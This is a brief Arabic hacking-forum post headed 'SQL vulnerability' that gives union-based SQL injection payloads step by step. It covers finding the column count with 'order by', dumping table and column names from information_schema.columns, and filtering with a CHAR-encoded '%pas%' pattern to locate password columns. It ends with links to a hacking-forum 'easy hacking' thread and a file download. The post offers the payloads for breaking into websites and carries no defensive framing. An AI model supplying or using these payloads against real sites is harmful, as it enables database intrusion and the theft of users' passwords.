ثغره sql

[AMINE-3d]

لمعرفة العمود المصاب order by xx-- مكان xx ضع ارقام حتى يزول الخطء 
    ثــــــــــــــــــــــم 
x,concat(table_name,0x3a,column_name,0x3a,table_schema)
x,x,x+from+information_schema.columns--
ثــــــــــــــــــــــم  ضع هذا 
+where+column_name+like+CHAR(37, 112, 97, 115, 37)-- لمعرفة الجدول
 http://www.waraxe.us/sql-char-encoder.html      موقع لتشفير الجدول   
+where+table_name=الجدول المشفر
===============

شرح اختراق سهل

http://www.vbspiders.com/vb/t60194.html

http://www.mediafire.com/?ods64c86qtysz8h